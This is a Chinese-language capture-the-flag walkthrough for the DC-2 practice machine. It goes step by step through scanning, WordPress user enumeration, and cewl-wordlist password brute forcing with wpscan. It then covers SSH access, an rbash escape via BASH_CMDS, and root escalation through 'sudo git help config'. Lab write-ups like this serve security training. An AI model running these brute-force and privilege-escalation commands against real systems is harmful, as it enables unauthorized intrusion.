准备kali(192.168.61.132)和DC-2(未知)
kali与DC-2都使用NAT连接
DC-2靶机 下载地址:
https://pan.baidu.com/s/1IEnnGKaiWLLF0qqc7mqHJg?pwd=teki
提取码:teki
第一步使用nmap扫描同段主机,判断DC-2的IP地址
nmap 192.168.61.0/24
DC-2的IP地址为192.168.61.134,用网页访问,显示DNS解析错误,找不到DNS服务器
使用命令更改缓存DNS配置文件
vim /etc/hosts
将DC-2的IP地址加入,保存退出
然后返回页面刷新,DC-2 界面就会出来,
点击页面上的flag,即可看到flag1中的提示
Flag 1:
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
More passwords is always better, but sometimes you just can’t win them all.
Log in as one to see the next flag.
If you can’t find it, log in as another.
你通常的单词表可能不起作用,因此,也许你只需要保持沉默。
密码越多越好,但有时你无法赢得所有密码。
以一个身份登录以查看下一个标志。
如果找不到,请以其他身份登录。
使用wappalyzer插件 查看DC2的框架,发现是WordPress的框架
然后我们使用wpscan漏洞扫描工具,扫描Wordpress中的漏洞
WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括WordPress本身的漏洞、插件漏洞和主题漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能
使用以下命令进行用户名枚举
wpscan --url http://dc-2 -e u
-e:--enumerate
我们可以看到枚举出了三个用户名:admin、tom、jerry
接着我们创建一个user.txt文件,并将枚举这三个用户名写到这个文件中
touch user.txt
vim user.txt
然后我们使用nikto命令扫描有关信息
nikto -host 192.168.61.134
Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto使用Perl语言编写运行,Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等
我们可以看到有个 “/wp-login.php:wordpress login found” 即DC-2 的后台登录页面
直接利用这个后台登录地址查看一下
然后我们可以使用kali自带的字典生成工具 cewl
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添加额外的外部链接,接下来Cewl会给你返回一个txt字典文件,你可以把字典用到类似John the Ripper,hydra九头蛇这样的密码破解工具中。
输入下列命令之后,爬虫会根据指定的URL和深度进行爬取,然后打印出可用于密码破解的字典:
cewl -w passwd.txt http://dc-2
-w=-write:写入到passwd.txt文件中
将生成的密码字典写入到 pass.txt 的文件中,接着我们尝试着爆破后台登陆地址
使用wpscan命令将用户密码进行枚举
wpscan --url http://dc-2 -U user.txt -P passwd.txt
这里可以看到枚举出来的两个用户名和密码,我们使用后台登陆jerry的账号发现flag2
我们在使用端口扫描查看一下相关信息
nmap -A -p- 192.168.61.134
提示我们还有另一个入口点,也就是ssh端口进入,然后我们使用ssh连接 tom 进入
ssh [email protected] -p 7744
然后使用ls看到flag3.txt,但是查看flag3被限制,不可执行且提示-rbash
使用 ls usr/bin 命令,查看当前可用的命令有哪些
使用 less 命令或者 vi 命令可以查看 flag3.txt,但是我们需要绕过rbash
绕过rbash:
输入:BASH_CMDS[a]=/bin/sh;a
然后输入:/bin/bash
最后加一个环境变量: export PATH=$PATH:/bin/
export PATH=$PATH: usr/bin
可以正常显示flag3.txt,我们切换到home目录下,可以看到两个用户,我们登录jerry目录下,可以看到flag4.txt,并查看flag4
然后我们切换到root下查看,显示不能切换到root目录下
这时我们使用 git 命令提权
sudo git help config
显示 tom 这个用户不在超级用户管理权限中,我们切换到 jerry 用户中使用git提权
sudo git help config
!/bin/sh或!'sh' --完成提权
切换到root目录下,拿到最终的flag
DC-2靶机完结!撒花*★,°*:.☆( ̄▽ ̄)/$:*.°★* 。